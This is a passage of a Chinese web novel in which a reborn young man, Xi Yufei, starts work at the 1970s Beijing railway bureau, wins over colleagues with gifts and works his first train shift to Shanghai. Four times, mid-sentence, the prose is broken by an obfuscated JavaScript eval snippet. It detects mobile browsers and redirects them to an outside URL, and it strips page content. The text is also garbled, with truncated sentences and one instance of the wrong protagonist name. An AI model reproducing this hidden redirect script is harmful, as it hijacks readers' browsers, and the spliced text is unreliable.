当年席老爷子带着一家人来到京城落脚,收了不少贫苦学生,也会免费给一些正在读书的年轻人讲题。 这个老钟就是其中之一,他叫钟强,如今在市政府上班,是个很有本事的人。 席于飞对这个钟强还挺有印象的,因为每到逢年过节,钟强都会亲自来席家给席老爷子送礼,说当年如果没有席老爷子就没有现在的他。而且钟强的对象还是曾柳华单位的一个小护士,两家关系挺近的。 席于飞只依稀记得上辈子钟强好像是得罪了什么人,后来去了一个小地方做县长直到退休才回京城。 席于飞笑嘻嘻的进了门,“是的,领导,我就是席家那个老六!领导,这是我大嫂老家弄来的特产,这是我在东北带来的特产,还望领导喜欢!” “诶诶诶,这像什么话,咱们这里可不兴收礼。”宋科长脸色有些微沉,摆手让席于飞把东西收回去。 席于飞一挑眉,“宋叔叔你这话可就外道了,什么叫送礼?你是我钟叔叔的朋友,钟叔叔那就是我亲叔叔,您也是我亲叔叔。咋?侄子给你整点儿土特产还成送礼了??” 宋科长:…… 宋科长都忍不住笑出声了,指着席于飞道:“你呀你,哎呀,你这孩子。” “都是土特产,又不是啥金贵的东西。叔你看这个红肠,我亲自从东北背回来的。还有这个干菜,别看样子不好看,可是好吃啊。还有这个蛋糕,给我弟弟妹妹吃,给我婶子吃。还有这个……” 席于飞从袋子里面捞出来一个纸包放在桌上,“东北那边的好东西,□□干儿,拿回去炖着吃,老香了。” 宋科长碰了碰装蛋糕的塑料袋,“这么说你在东北混的还行?” 他听钟强说过,这个侄子在东北下乡,三年受了大罪了。原本这个工作按照人情钟强是打算送给席家的,但席家非要按照市价买,可见是个厚道人家。 如今看来,这个席老六黑瘦黑瘦的,但人很精神,嘴甜会说话,不像其他刚从乡下回来的那些知青,一个个仿佛被吸干了精血似的,脑袋都抬不起来。 “也不行,就是那边有我爹一家老亲,能帮得上忙。但该下地还是得下地,吃喝也没有咱们城里好。但这不是要回城吗?我特地买的好多特产背回来,还有这个蛋糕,是那边一个兄弟从外贸商店买的,说外面没卖的,还有塑料袋呢。” 席于飞全程把自己姿态放的很低,但又不是那种卑微的低,而是小辈的低。 他反正还记得自己上辈子第一天报道,就跟别人欠他几百万似的,最后要不是看在钟强的面子上,这个宋科长都未必愿意要他。 “行,就当你给你弟弟妹妹带来的吃的。”宋科长这次没有拒绝,而是把东西都收起来,放在脚边,“我喊个人带你去报道签字,还有工资跟衣服你得领。等我给你写个条子。” 他说着坐下来,拿起钢笔在本子上刷刷写了两行字,撕下这张纸递给席于飞,“我这边还忙,你直接去找会计,让那边叫小周带你去后勤。等登记完领完东西,在过来我这边。” 入职得去会计那边登记,否则工资都没人发。 “得嘞,叔儿,您忙着。”席于飞拎起他的提兜,倒退了几步转身把门一关,跑了。 “这小子,皮猴子似的。”宋科长想了想,拿起电话给钟强打了个电话,“老钟,你说的那个席家老六来了。嚯,这小伙子可真不错,精神,会说话。站门口一声报道,给我吓一跳。哈哈哈哈,哎呀你放心,我会给他找个好师傅,咱俩这关系,我还能委屈我侄子吗?” 会计室在楼梯口的另一边,席于飞小心翼翼的敲了敲门,等里面说请进的时候才进门,“那个,叔叔阿姨们好,我是来报道的席于飞,宋科长给我写了条子……” “好家伙,刚才就是你喊报道吧?那大嗓门,给我们吓一跳。”一个三十来岁的大哥嘎嘎笑道:“条子呢?我看看。” “叔,给您。”席于飞拿出条子走过去,把条子递给这位大哥,“我初来乍到,有很多不懂得地方,还得各位叔叔阿姨提点提点。那什么,我带了点儿土特产……” 他又开始从提兜里掏东西,掏了几包香肠,又拎出来两大包瓜子跟水果糖,一起堆在桌子上,“给叔叔阿姨吃着玩。” 坐在大哥对面的大姐直接打开纸包,抓了把瓜子磕了几颗,“哎哟,你这个瓜子炒的香啊。” “跟东北那边抗过来的,阿姨,这可不是直接炒的,是水煮之后再炒的,吃着干净不脏手。”席于飞说完,又看了看那个大姐,“要不我跟您喊姐吧,您看着跟我大姐差不多大,喊阿姨倒是把您喊老了。” 大姐笑喷,指着席于飞跟周围同事道:“看看,这嘴儿甜的。成啊,你就喊我大姐,也喊他们大哥大姐,否则不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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席于飞还记得这个周建民,他是铁路子弟,会计专业毕业的。上辈子对方可没有这么好说话带他去领东西,直接把人扔到后勤就不管了,还是后勤那边给指了仓库的路,他自己领的制服。 “家里没有了,不过我写信问问那边,这些日子东北那边开始收瓜子花生什么的,我让老家人炒一些寄过来。”席于飞道。 他市场里有的是瓜子,但不停的拿出来,那就看不出好来了。 “成,多寄点儿,给我十斤……不,二十斤吧,十斤怕是不够吃。你放心,我给钱,全国粮票要不要?我这里也有票。”这个周建民显然是个财大气粗的。一张嘴就是二十斤瓜子,普通人家一年都吃不到二十斤,十斤份额都没有。 那时候工人一年到头只有半斤的份额,工人子弟是二两,全家也就凑个三四斤,都数着个吃呢。 “粮票好,那边估计就缺粮票。如果有工业票什么的就更好了,建民哥您也知道,村里什么都缺。” 遇到这种不差钱的大户,若是客气了反而让对方不舒服。 “你放心,有!”周建民说着,把人带到一楼的后勤办公室,进门让那边签了字,又亲自带他去仓库,“你放心,我让仓库给你挑好的衣服。这个月份其实我们刚发了冬季服装,但又没有那么冷。正好你能领两套,一套春秋的一套冬天的。对了,仓库老于好抽烟,你带烟了吗?” “带了,带两包大前门,不知道老于同志能不能看上。”席于飞摸了摸兜里的烟,问道。 “是烟就成,他不挑。”周建民走到仓库那边,敲了一扇窗玻璃,“老于啊,于大哥,来新人领东西了!” 席于飞松了口气,他揣的这两包大前门,可算送出去了。 铁路上的人眼光高,他还一直琢磨这烟会不会有人要呢。 8. 老王他外甥 看仓库的老于是个沉默寡言的中年男人,脸上有一道疤,个头得有一米八多,瘦高瘦高的,看着很不好惹的样子。 他拿了条子看了眼,又瞅了下席于飞放在他面前的一包大前门,一个字都没说,直接转身进了仓库。 “老于就这样,不爱说话。”周建民小声跟席于飞嘀咕,“他媳妇家里成分不好,老丈人一家子都去了大西北,媳妇登报跟他老丈人划清界限之后没俩月就上吊了,留下仨孩子。你说倒霉不倒霉,他老丈人一家子高知,结果落这么个下场。” 周建民很是唏嘘,显然对这几年发生的这些奇葩事十分看不过眼。 也是因为这些事,单位对老于十分照顾。让他看仓库也是三班倒,他只上白班,这样方便回家照顾孩子。说是最大的那个刚满十六岁就被弄去下乡了,剩下两个小的,一个十一岁,一个九岁。 也就是说老于媳妇上吊那年,家里孩子还都很小,最小的估计刚断奶。 其实原本老于家老大可以不用下乡的,但他家跟席家情况差不多,一直有人盯着,动不动就举报,把他们家当黑余孽。 席于飞问了一下,直到于家老大是个小子,今年刚下乡。想想再过几年知青就能返城了,也就受点儿罪。 只要撑过这几年,老于老丈人家平反,孩子也会得到补偿。 没一会儿,老于从仓库里抱了一大包东西出来。 里面是两套制服,一套春秋的,一套冬天穿的。从背心到秋衣秋裤,从帽子到单鞋棉鞋,还有一件厚实的军大衣。其中外衣竟然还是两身,这样可以随时替换。 怪不得铁路这边工作那么贵,里面待遇是真的好啊。只可惜他家不是铁路子弟,否则家里孩崽子们从托儿所到初中高中,都可以直接在铁路学校读书了。 跟衣服一起拿出来的还有一个大茶杯,一个帆布提包,上面都印着铁路局的字样。 “齐了。”老于说完,把桌上的大前门拿起来往兜里一塞,转身进了他自己的值班室。 “行了,装好自己拎着,我给你送出去……诶,你还没认师傅了吧?宋科长给你介绍的是哪个师傅?”周建民好奇的问。 “还没介绍呢,让我领了东西去他办公室。”席于飞挠了挠头。 他现在只记得上辈子自己那个师傅姓王,对他态度并不好,当然,他自己的态度也不咋地。反正每次出车都会挨骂,不是这里没打扫干净,就是那里没收拾利索。甚至车里出了事,或者他跟乘客吵架,最终都会挨骂。 想想其实也是自己的问题,席于飞觉得任何一个老师傅面对成天挂个狗脸的傻小子都不会有什么太好的态度的。 人家又不欠你的,再说带个新人还费心呢,自己又没给老王师傅送礼,话也不会说好听的,那老王态度能好才怪呢。 “哦哦哦,”周建民转脚又带着他往办公楼溜达,“咱们京城站可是个大站,有不少经验丰富的老师傅。宋科长人不错,应该能给你介绍个好师傅。哎,其实我也想跟车,可惜我家里不让。” 周建民说完,又冲着席于飞挤了挤眼,“出车,如果去富裕的大城市,能见识挺多的。你这一路多听多看,以后有了啥好东西,可别忘了咱哥们儿。” 席于飞一脸装傻,“啊,如果去了大城市,我买当地土特产给你带回来。” “个傻小子!”周建民嘎嘎乐,“要啥土特产啊,嗨,我先不给你说,等你跟几趟车之后如果看出事儿来就问我。我看你小子投缘,到时候多点拨点拨你。” “谢谢建民哥,以后我有什么不懂的,一定来问你!”席于飞真把自己当傻小子了,笑的满脸是牙。其实他心里对周建民的话门清,但自己还没正式跟车呢,如果懂太多也不是什么好事。 等上了二楼,周建民就跟席于飞分道扬镳,他着急回办公室嗑瓜子儿呢。 席于飞拎着大帆布包,怀里还抱着个棉大衣,吭哧吭哧的走到宋科长办公室门口,“报告,宋科长,我是席于飞,我能进来吗?” 里面又传出来一阵笑声,还不只是一个人的。 “进来吧,”一个粗嗓门道:“这是从乡下民兵连锻炼过的吗?这嗓门,不错。” 席于飞推门进去,看着房间里多出来的四个人,又看了看宋科长,“宋科长,我领了东西回来了。建民哥说您要给我介绍师傅?” “小周那孩子狗肚子里存不住二两油,有点儿啥都突突出来。”宋科长桌子上还放了些瓜子儿,他指了指瓜子儿,“咋,你就给他们送瓜子花生吃,怎么就不给我送?” 席于飞:…… 这不是觉得一个科长在办公室嗑瓜子不好看嘛。 哪有给领导们送瓜子吃的。 粗嗓门他们就坐在宋科长办公桌对面的沙发上,茶几上也放着瓜子花生,还有水果糖。 茶几上还放着个干净的烟灰缸,不过房间里没人抽烟,只有瓜子的香味。 “宋科长喜欢吃的话,我让我东北那边的亲戚再寄点儿过来?不过得等等……” “嘿哟,这小子还挺实在的。”粗嗓门大笑道:“你宋科长不抽烟不喝酒,就喜欢嗑瓜子儿。以前当兵的时候,他兜里总是揣着零嘴儿……” 粗嗓门没说完,就被宋科长一声咳嗽制止了,“行了行了,你个老侯,总把那点儿事翻来覆去的说。对了,席……席老六对吧?” 席于飞:…… “宋科长,我叫席于飞。” “嗨,我知道你叫席于飞,你不是排行老六吗?”宋科长指了指粗嗓门他们几个,“老侯,以前是我战友。旁边那个长得黢黑的是他大徒弟,你以后就跟着他学。” “什么叫长得黢黑,”候车长翻了个大白眼,然后笑呵呵的看着席于飞,“老六啊,这是你大师兄,他姓梅,梅花的梅,叫梅雨,就是南方梅雨天那个梅雨。” 席老六:…… 他觉得自己真的快成老六了。 “梅雨哥。”席于飞乖巧的打招呼。 黢黑的梅雨笑出两排大白牙,“挺好挺好,小孩子长得真乖,就是黑了点儿。你这么黑是晒的还是天生的?” 席于飞再次无语。 “是晒的,跟东北那边下乡刚回来,还没捂白呢。” 梅雨显然有些郁闷,“啊,不是天生的啊?哎哟,还能捂回来?” “你当都跟你似的,从小煤堆里扒拉出来的一样。”老侯抖了抖右手腕,看了下手腕上的表,“可行了,我赶紧回去给我老婆孩子做饭去。老六啊,明天下午跟车,你记得两点半来这里,我让你大师兄带你去车站那边集合。记得别迟到,衣服什么的都穿好了。剩下的让你大师兄跟你说,老宋我先走了!” 这老侯起身拍了拍裤腿,直接走了,都没跟沙发上另外两个人打招呼。 席于飞看着那两个人,总觉得眼熟。 梅雨往旁边靠了靠,然后拍拍身边的座位,让席于飞过来坐。 他也没跟旁边那俩打招呼,就摸了瓜子吃,一脸看热闹的样子。 那俩人也是一个岁数大的带一个年轻的,岁数大的那个脸色十分难看,年轻的就垂着头,手里摆弄着只铅笔,面无表情。 “老王啊,”宋科长瞪了梅雨两眼,但梅雨装作没看见,就是吃瓜子,还给席于飞剥了一块糖。 席于飞接过糖塞进嘴里,被动的开始吃瓜。 “你这个事儿,我不是不帮你。两个月前你刚把你闺女塞进来,好歹也是咱们铁路子弟,我没说什么吧?现在你又要把你外甥塞进来,你外甥可不是铁路子弟,我上哪里给你找地方安排?行了你也别说看你面子,你闺女之前去广播站,没一个礼拜就跟人吵了一架。后来我把她调去跟车,又跟车组吵了一架。要不是咱们有规定,带血缘的不能走一趟车,我真就把她塞你车上了,让你管着!” “怎么就没空了?”年纪大的那个横了眼席于飞,“这不是刚入职吗?他进来就有空,我外甥进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实他这个高中毕业水分很大,因为他下乡那几年学校里也乱,刚回复上学没多久,所谓的高中就是哪怕你上一年想要毕业了,都会给你开毕业证。 那些老师压根都不敢得罪学生,生怕被举报拉出去被批斗。 那年轻人拉拉个狗脸,道:“上高中了不起啊?” 宋科长喝了口茶,看向王国强,“你外甥什么学历?” 王国强嘎巴嘎巴嘴,梗着脖子道:“跟车用得着什么学历?乘务员不就是打扫打扫卫生吗?” 宋科长深吸一口气,道:“咱们这边新进来的这批年轻人,学历没有低于初中的!王国强,你当铁路局是你家开的啊?想塞人就塞人,想去什么部门就去什么部门?” 那年轻人又不乐意了,“你说俺舅干啥?俺们农村读书难,再说读那么多书有啥用,不还得去车上给人扫大街!舅,我可不当乘务员,我就不是伺候人的命!” 席于飞绞尽脑汁的想自己上辈子到底有没有经历过这一茬,后来终于想起来了,他当时没人带着去仓库领东西,自己东转西转耽误了不少时间。等回来的时候估计这里已经吵完了,那个老侯和梅雨压根就没来,只有黑着脸的宋科长跟王国强,以及这个一句人话不会说的外甥。 然后宋科长就把自己丢给了王国强,估计也是看自己不顺眼了。 不过好像这个外甥最后也没能进铁路局,这毕竟是国家大单位,不管是不是伺候人的活儿,也不可能要个文盲啊。 “舅,”年轻人直接站起身,“你说了要给我找个坐办公室的工作,要不让我跟表姐换换,我去广播站,她当乘务员!她一个丫头片子天天跟车出去,周围都是男的,这咋能行。这样的以后回村都会被人戳脊梁骨,嫁不出去的。” 噗嗤。 梅雨用力咳嗽了声,“那什么,宋科长,我带老六出去了啊,明天下午我们还得跟车呢。” 席于飞这口瓜啃了个乱七八糟,一脸懵的就被梅雨拽了出来。 9. 上班了 “那个老王也太不讲究了,”直到把人拽到楼下,梅雨才忍不住吐槽,“幸亏你不是在他手底下干活,否则他能为难死你。也就是他手里权利没有那么大,否则他能把铁路局变成他家后院!” “那个王师傅到底什么来头?”毕竟是在上辈子带他的师傅,没想到能在重生之后吃到这个王师傅的瓜。 梅雨撇了撇嘴,道:“他原本不是咱们铁路上的,但有个拐弯亲戚是咱们这段之前的大领导。他大舅子还是革会的,之前不是闹得厉害?他让他大舅子帮了一把,然后就来这边了。他身边那几个徒弟都是他们一派的,还有她那个闺女,学习一般,长得……算了,毕竟是个女的,咱也不好说。脾气还不好,尖酸刻薄的,初中毕业就非得去广播站,结果没半个月就闹出乱子了……” 梅雨压低声音,凑到席于飞耳边,“她算计广播站老大的儿子,差一点儿就成功了。好家伙,给那哥们吓得好几天没敢来上班。老宋也是没办法,毕竟那边不愿意,最后把老王他闺女调去跟老王走一趟车。原本咱们这边的规定是有血缘关系的不能走一趟,可问题没人敢要那个女的。” 席于飞对这个老王家闺女依稀有点儿印象,毕竟他当年是在老王手底下干活,就记得车上有俩广播员,一个是位大姐,一个比较年轻。长什么样忘了,总之不太好看,之前还往她身边凑合来着,但那时候他满肚子怨气呢,压根没有搭理过那个女的。 或许上辈子老王看他不顺眼,也有这里的缘故?? “还有,车站食堂有个临时工是老王的一个亲戚,表哥表妹的,咱也不懂。还有车站巡段有一个,也是他家亲戚,什么关系记不清了,好像是个侄子?之前他还想往车站保卫科塞人,但人家虽然属于车站,但不属于一个部门,直接给他撅回来了。” “这个老王,”梅雨说着摇了摇头,“车站没什么人待见他,你看着吧,他那个外甥早晚也得进车站上班,就是不知道老宋会给安排个什么职位了。毕竟人家大舅子是革会当官的,招惹不起。” 梅雨把他送出门,又跟门口的小年轻打了个招呼,就分道扬镳了。 毕竟梅雨今天休息,他之所以过来,是为了跟他师傅来认认这个被分到一起的新人。 原本老侯还跟他说新来的是个关系户,如果性子好就给个脸,性子不好一般带着就成。不过看样子,老侯好像还挺喜欢那个孩子的。 梅雨摸了摸兜里的糖和瓜子,啧了声。 这小孩儿,挺会来事儿。 席于飞拎着大包小裹的回了家,鼓鼓囊囊的帆布手提包和怀里抱着的军大衣吸足了眼球,一路走来胡同里的邻居都知道他要去铁路上上班了,一个个惊叹的不行。 那可是铁路,去那里上班以后坐火车都免费,跟着火车四处旅游,多好的一个职位啊。 这老席家,还是有点儿本事的。 “宋科长给的糖,”席于飞掏出一大包大白兔放在桌子上,“我说不要不要,他非得给!” “哎哟,这么好的糖,”就算席家生活不错,但也不可能在零食上多上心。尤其是现在还欠了饥荒,更是没钱买这种奢侈的糖果了。 买上半斤冰糖,都能让家里孩子们开心很久。 “这个宋科长,敞亮。”曾柳华没想到儿子去报个道,还能带回来这么多东西。 “给发了两套衣裳,制服每个季度都是两身,这样可以替换。不过里面的衣裳跟鞋子只有一身,军大衣也是一身。”席于飞把帆布袋里的东西掏出来都摊在炕上,又从兜里摸出一把钞票,“还发了工资,发了这个月一整个月的。这铁路也太有钱了吧。” “两千来块钱呢,这要是再买不到个好工作,钱不白花了?”曾柳华摸着那衣裳料子,满脸笑容,“不亏是人家铁路发的制服,这布料摸着就厚实。” 七十年代的铁路制服并不好看,放在后世简直土的不行。 但就这简单的绿上衣蓝裤子,再加上八角带檐的绿色软帽子,就是大家眼里最时尚的搭配了。 这样的衣裳,一年发四套,一套两身,简直就是天大的福利。 自己若是穿不下还能给兄弟们穿,省了多少做新衣裳的钱! “宋科长给我分的师傅姓候,侯师傅说让我明天下午两点去车站集合,然后就要跟车上班了。”席于飞想起来自己忘记问这趟车走哪一段了。不过哪一段都无所谓,反正每三个月轮换一次,大城市小城市穷地方富地方他们都得去。 “行,好好上班!”曾柳华可太开心了,一直坠在她心里的大石头终于落了地。 如今家里几个儿子都有了去处,就还剩下小的了。不过小的还得读书,读书的这几年家里攒点儿钱,等毕业看看能不能也弄个工作。 曾柳华想到自己的两个小的,心里忍不住叹了口气。 中专都没考上,只能上高中。原本她的意思就是差不多找个地方上班,哪怕是临时的也成,万一到时候毕业了又有人举报他家没人下乡呢?那时候再找工作可就麻烦了。 但她家老席不同意,就让孩子读书。 曾柳华虽然也是知识分子,但毕竟这年头乱,读高中有什么用?口口声声说以后能上大学,可问题现在哪里还有什么大学? 那些曾经大学里的老师教授,指不定在哪个牛棚里呆着呢。 不过现在家里总算多了个赚工资的,好歹兜里能松快松快。先把饥荒还了,再攒些钱…… 哎,早知道,就不生这么多讨债鬼了,哪个都要钱啊! 第二天,席于飞穿着板正干净的铁路制服,手里拎着那个帆布袋,开开心心的去上班了。 帆布袋里有换洗的衣裳,单位发的水杯和饭盒,还有他娘让三嫂从供销社便宜买回来的碎麻花以及自己烙的葱花饼。 这是生怕儿子吃不饱,毕竟席于飞这个年纪正能吃,车上说是管饭,但回头饿了咋办? 反正现在天气冷,吃的能放的住。 等到了地方,席于飞才知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679514|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们这趟车是前往沪市的。 等跑一个月沪市,就要换去往西北那边的了。 这趟车算是短途,因为一天就能到。轮上一年的短途就要跑长途,一趟长途下来,人都能累翻。 乐野记得上辈子他跑过京广线,那真的是,几天几夜下来累的都要散架了。 虽然路上会有区间车组上车换班,可在车上晃悠好几天,也是非常难熬。 不过京广线是很受欢迎的线,因为特区的原因,再加上那边离港城近,就会有人偷摸的从那边倒腾东西往京城带。 都说铁路上的人有钱,但这个有钱指的不是福利和工资,指的就是这个。 跑三个月京广,能赚出三年工资来。 侯师傅手底下人不少,毕竟每个车厢都需要一个乘务员,除了乘务员还有送水员,都属于同一个车组。另外就是车上锅炉房的,不过那就属于另一个车组了。 不过席于飞没想到,还能在队伍里看到之前看大门的那个小年轻。 “吓一跳?”小年轻嘻嘻哈哈的指着自己的制服,“乘警,懂?” 小年轻叫陈虎,看了半年大门,现在被调到车上了。 乘警跟保卫科也算是有点儿关系,但属于两个部门。不过再怎么分,在铁路上也算是一家亲。 经过梅雨介绍,席于飞才知道这个娃娃脸小年轻陈虎其实已经二十三岁了,去年刚结婚,今年儿子都出生了。 简直,人不可貌相!! 因为京沪这一趟算是短途车,所以车上没有卧铺车厢,但座位不是硬座,是软座。 说是刚升级的车内设施,以前的火车内部座位是硬座,那种木头靠背椅子,坐一天下来腚都是麻的。 不过就算是软座,坐一天也受不了,腰疼。 乘务员有值班的小房间,还有一截车厢是专供车组人员休息的。 作为乘务员,就是需要解决自己职责车厢里的大小纠纷,检票,帮忙收拾行李,以及乘客下车后要打扫卫生。 这时候的火车十分慢,不但慢,而且对行李检查也没有特别严格,总之什么都能带上车。 鸡鸭鹅,猪崽子,羊羔子。只要能挑起担子或者塞麻袋里的,都能往车上带。 还有人带担架上车的,为什么带担架?是为了往两边座位靠背上放,上面还能挤俩小孩儿呢。 席于飞对这种挤的跟罐头似的车厢情景一点儿都不陌生,且不说他做过一年半乘务员,后来他“卷款”之后在南方拼生活,也跟着挤过车,还逃过车票呢。 梅雨带着他走了一趟,就对直接上手的小师弟赞不绝口。 这才发车不到十分钟,他小师弟直接检票捡出来俩逃票的! “天生就是吃这碗饭的,”梅雨乐的见牙不见眼,“抓到逃票的还有奖励呢,你小子,眼睛真尖!” 席于飞尴尬的笑了笑,他不是眼睛尖,只是经验多了那么一点点儿而已。 大师兄啊,你可别夸了。 10. 再次跟车 在还没有那种车票与身份证挂钩的政策出来之前,火车上逃票的人是真不少。 这个时候进站虽然会检票,但人太多,还有人说送人就能直接上站台。等火车来了,他们把行李从打开的窗户往里一扔,几下就从窗户爬进去了。 等进了车厢,躲到座位下面或者厕所里,就是为了躲避查票。 还有一种团体逃票的,四五个人上车就买两张票,这边查完了把票传到另一波人手里,就可以躲过查票。 席于飞也算是经验丰富,等火车开始启动,跟在梅雨身后,就从座位下面和厕所里揪出两个逃票的倒霉蛋,押着他们去补票了。 因为京城是起始站的缘故,车里的人别提多多了,原本坐三个人的座位都能挤得下四个,还有人爬上行李架,把那里当做自己的卧铺了。 这年头也没有什么服务意识,梅雨长得黑,也是人高马大的,指着行李架上的人就是一顿训斥,让他赶紧滚下来。然后骂骂咧咧的让老乡们把鸡鸭鹅都塞进座位下面,大件行李放到行李架上,顺便把乱跑的小孩崽子拎起来丢进他爹怀里。 从车厢这头挤到车厢那头,俩人累出一身汗。 还没等席于飞缓过神儿呢,车厢里又有人闲的蛋疼开始吵架了。 有人觉得车厢里气味不太好就把车窗打开了,但坐在旁边的人觉得吹着冷,让她把车窗关上。 就这么件事,俩人嗷嗷的开始比嗓门,等席于飞挤过去,都快开全武行了。 “嚷嚷什么嚷嚷?”他也没有什么好言好语的服务意识,主要是轻声细语的,人家还以为你好欺负呢。“都有座吗都?要不你们跟别人换个座,嚷嚷管屁的用!” 两位女同志掐着腰,谁都不服谁。 “票呢?拿出来看看!”席于飞伸手。 “不是刚查过票吗?”年轻一点的女同志不情不愿的翻包,把车票拿出来递过去,“同志你看好了啊,我是有座的,我就在这个座,挨着窗户!这还是特地让我朋友给我买的呢,车上味儿大,我开一会儿窗户咋了?” “我也有座!”年纪稍大的那个把票一把怼席于飞眼前,“同志你可看好了,别一会儿一查一会儿一查的。我岁数大了受不住风,这么直着吹可受不了。” 席于飞看好票,大声道:“有没有哪位同志发扬一下精神,跟这两位女同志换个座?” 旁边一位女同志站起身,对年纪大的那位道:“大姐,你到我这里来坐,我过去那边,我也想吹吹风,透透气。” 两个座位离得不远,年纪大的女同志看了看,拎着自己的包就过去了,边走边道:“年轻的时候吹冷风,等你岁数大了就知道了,到时候落下病……” “同志谢谢你啊,”年轻女同志从自己随身的包里抓出一把红枣递过去,“吃枣,可甜了。” “不了不了,”席于飞摆摆手,连忙挤着人群走了。 梅雨在不远处笑眯眯的看完,觉得席于飞能应付这些琐事,便回到了自己的车厢。 这小师弟还行,比之前的新人好带多了。 等车厢里再次安静下来,席于飞松了口气,回到了乘务员休息的小屋。 没一会儿,送水员过来了。 “加热水不?”车上有三个送水员,开车前他们就要拎着长嘴大铜壶把每节车厢的水箱都灌满,等车开出去一段时间,再拿着壶重新补一次水。 敲门的是三个送水员里面最年轻的那个,也是去年刚入职,补的是个退休员工的缺。 “来点儿,”席于飞打开门,把自己的大茶缸子拿出来,里面还放了茉莉花茶。 他也不是没好茶叶,毕竟有那么大一个市场呢,里面卖茶叶的好几家。但人不能太显摆,你什么家庭啊就喝好茶叶?万一被人反手一个举报,都不知道怎么交代茶叶的来路。 这个送水员叫程成,挤了一路帽子都歪了,看上去像个二流子。 他个头不高,但特别白净,在一群劳动人民身边白的简直像个大姑娘。 没少有人因为程成皮肤白打趣他,但席于飞知道人家就是长了冷白皮。 越晒越红,晒不黑的那种。 “哟,你这个茉莉花香!” 滚烫的热水冲上去,茉莉花的香味立刻就飘了出来。 “香吧?一会儿你不忙了过来,我给你包一包,这次出门我特地多带了点儿。” “哎哟,那可真谢了,我就不客气了啊,一会儿过来。” 程成倒完水,拎着大铜壶就走了。 送水的走了没一会儿,餐车那边的小吃车也推了出来。 尺宽米长的小推车就跟摩西分红海似的,从沙丁鱼罐头中间开出了一条路。 “花生瓜子汽水,黄瓜橘子大鸭梨。有要的吗?” 要不说火车员工赚钱呢,这些都属于车上自己的盈利,车上东西贵,卖出去大家一起分钱。 这个点儿上车的基本都吃过午饭了,大多数人看着餐车上的东西无动于衷。但也有兜里有钱的,比外面贵一倍的黄瓜卖的可好了。 黄瓜的清香味特别吸引人,有人被馋的不行,就从自己的行李里面掏出家里准备的窝头饼子咸菜之类的啃。 安静没一会儿的车厢里,又开始有小孩子的哭闹声,闹着要吃黄瓜,吃大鸭梨。 席于飞伸出头去看了看,只要没打起来,他就不去多管闲事。 乘务员乘坐的车里还有车次表,上面标注着每个站到站的时间。不过这个时间不太准,这种绿皮车最容易延迟了,说是二十个小时能到沪市,但基本上都得延迟个一两个小时。 短途一路上都没得休息,乘务员都是在车辆行使期间躲在自己的小房间里稍微眯一会儿。 席于飞坐在座位上闭目养神,没一会儿门又被敲响了。 送水员程成带着陈虎和他师兄梅雨集体出现在门外。 “行啊大飞,橙子说你这里茉莉花茶好喝呢。”梅雨第一个挤进来,“哟,真香。” 席于飞把早就准备好的茶叶包拿出来,笑道:“我还想呢,一会儿给你跟师傅送一包尝尝。就怕师傅看不上我这个茉莉花。” 其实陈虎和梅雨对茉莉花茶确实没兴趣,但对席于飞感兴趣。 梅雨查完车厢就去了休息车,跟老侯嘚吧半天这个新人多好带,他俩听着好奇,再加上程成说席于飞的茉莉花茶挺香的,还说要分给自己一包,干脆就跟着一起来了。 陈虎把茶叶塞进包里,笑出了个酒窝,“一会儿我也泡一杯,感觉比我家的香多了。” “抽烟不?”程成从兜里掏出一包红梅,“去门口啊。” 这就是明显的示好,意思是我对你这个人感觉不错,咱俩能聊一起,发展一下同事友谊。 男人叫着一起抽烟,跟女生手拉手去厕所差不多一个意思了。 “别去外面了,跟我这屋抽呗,窗户打开就成。”席于飞转身打开窗户,他们这个乘务员休息房间是三人座宽的,不过里面放了些东西,但挤俩人没问题。 “小小年纪不学好,”陈虎笑着摆摆手,“我可不跟你们混,我巡车去了。” 乘警需要三不五时的在车上溜达溜达,虽然现在管得严,但车上三教九流什么人都有。那些小偷小摸的会逃票上车,从上一站上来,快下车的时候偷了东西直接在下一站下车,然后再找个回程的车逃票上来继续偷。 只要没按住手,压根抓不住,被偷东西的苦主也只能认倒霉。 这时候车上传来播音员的声音,他们车上的播音员是一名男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679515|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,说话字正腔圆的,相当好听。 “……现在火车已经驶离京市,下一站是X市。各位乘客请看好自己的行李,不要让孩子在车内打闹,不要将手和头伸出车窗外……下面,我将给大家播放歌曲闪闪红星……” 这时候的娱乐十分少,漫长的火车旅途上,播音员的位置其实相当重要。 